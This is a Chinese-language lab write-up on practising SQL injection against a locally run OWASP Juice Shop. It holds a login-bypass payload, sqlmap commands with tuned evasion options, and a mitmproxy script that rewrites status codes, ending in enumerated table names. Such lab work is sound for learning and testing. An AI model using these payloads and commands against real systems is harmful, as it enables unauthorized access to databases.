最近闲来无事,在网上逛到了一个SQL注入靶机,就下来玩玩,正好拿来练一下SQLmap


此靶机其实是一个闯关题,共有47题,这里只是测试SQL注入一下而已,并非真正渗透.

安装环境

拉取镜像并挂到后台运行

docker run -itd -p 3000:3000 bkimminich/juice-shop

容器启动后就可以在浏览器访问127.0.0.1:3000访问

渗透过程

别的不说,先上个简单的万能密码走一波

‘ or ‘1’=’1′; #–

密码随便填一个就可以绕过登陆管理员账号

1

用burpsuite抓一下包

请求包

2

响应包

3

右键将数据包copy到文件中,然后

关门放SQLmap

sqlmap -r burpsuite_file -p email

4
不过可以看到网站在密码错误的情况下返回了401错误和500错误

如果只有一个错误码还可以用–ignore-code参数过滤,两个的话就要另谋高就了

当然改SQLmap源码这种大神操作就不是我等菜?能做的了,好在GitHub上有一个项目mitmproxy可以解决当前需求

把仓库下载到本地

git clone https://github.com/mitmproxy/mitmproxy.git
cd mitmproxy
./dev.sh #Windows下在Powershell里运行
. venv/bin/activate #Windows是venv\Scripts\activate

编写程序修改返回的状态码

import mitmproxy
def response(flow):
print(flow.response.content)
flow.response.status_code=200

编写完后执行程序开启代理

mitmdump -s code.py -p 8888

然后再次执行SQLmap

sqlmap -r burpsuite_file -p email --proxy http://local:8888 --ignore-code=401 --string=token --technique=B 
--proxy : 指定代理
--string : 通过验证响应包内是否存在token值来判断是否成功登录
--technique : 指定SQLmap探测方式,-B为Boolean-based blind SQL injection(布尔型注入)

5

不过结果貌似并不太好,我选择在Payload的前后指定字符来绕过,并将risk调到最高

sqlmap -r shop -p email --proxy http://localhost:8888 --ignore-code=401 --string=token --technique=B --dbms=sqlite --prefix "'" --suffix "; -- -" --risk 3
--dbms : 指定探测的数据库类型
--prefix : 在Payload前面插入指定字符
--suffix : 在Payload后面插入指定字符

6

绿倒是够绿了,就是没什么实质性的东西,加个tables试试,要是觉得速度慢也可以用thread加大线程

sqlmap -r shop -p email --proxy http://localhost:8888 --ignore-code=401 --string=token --technique=B --dbms=sqlite --prefix "'" --suffix "; -- -" --risk 3 --tables

7

这里就可以看到已经将表给爆出来了.后面的步骤别问,问就是不知道.